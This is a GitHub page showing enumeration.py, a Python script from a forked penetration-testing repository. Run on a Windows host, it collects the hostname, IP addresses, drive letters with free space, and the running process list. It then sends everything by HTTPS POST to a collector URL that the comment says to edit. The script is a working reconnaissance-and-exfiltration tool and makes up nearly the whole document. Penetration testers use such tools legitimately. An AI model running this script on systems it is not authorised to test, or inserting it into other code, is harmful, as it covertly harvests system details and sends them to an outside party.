forked from ChrisTruncer/PenTestScripts
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathenumeration.py
More file actions
executable file
·50 lines (39 loc) · 1.43 KB
/
Copy pathenumeration.py
File metadata and controls
executable file
·50 lines (39 loc) · 1.43 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python
# This script enumerates information from the local system
import ctypes
import os
import socket
import string
import subprocess
import urllib2
# URL - You obviously need to edit this, just the IP/domain
url = "https://192.168.1.1/post_enum_data.php"
# Enumerate IP addresses and hostname
host, alias, ip = socket.gethostbyname_ex(socket.gethostname())
# Get full hostname (including domain if applicable)
host = socket.getfqdn()
# Enumerate system drives
drive_space = {}
drives = []
bitmask = ctypes.windll.kernel32.GetLogicalDrives()
for letter in string.uppercase:
if bitmask & 1:
drives.append(letter)
bitmask >>= 1
# get username based off of environmental variable
# might not be true, but probably us
username = os.getenv('USERNAME')
# Get space per drive
for drive_letter in drives:
free_bytes = ctypes.c_ulonglong(0)
ctypes.windll.kernel32.GetDiskFreeSpaceExW(
ctypes.c_wchar_p(drive_letter + ":"), None, None, ctypes.pointer(
free_bytes))
free_megs = free_bytes.value / 1024 / 1024
drive_space[drive_letter] = free_megs
# Get running processes
tasklist_output = subprocess.check_output("tasklist")
data_to_transmit = "hostname - " + str(host) + "\nIP Address(es) - " + str(ip) + "\nSystem Drives and Free Space in Megs - " + str(drive_space) + "\nTasklist Output - " + tasklist_output
# Post the data over https
f = urllib2.urlopen(url, data_to_transmit)
f.close()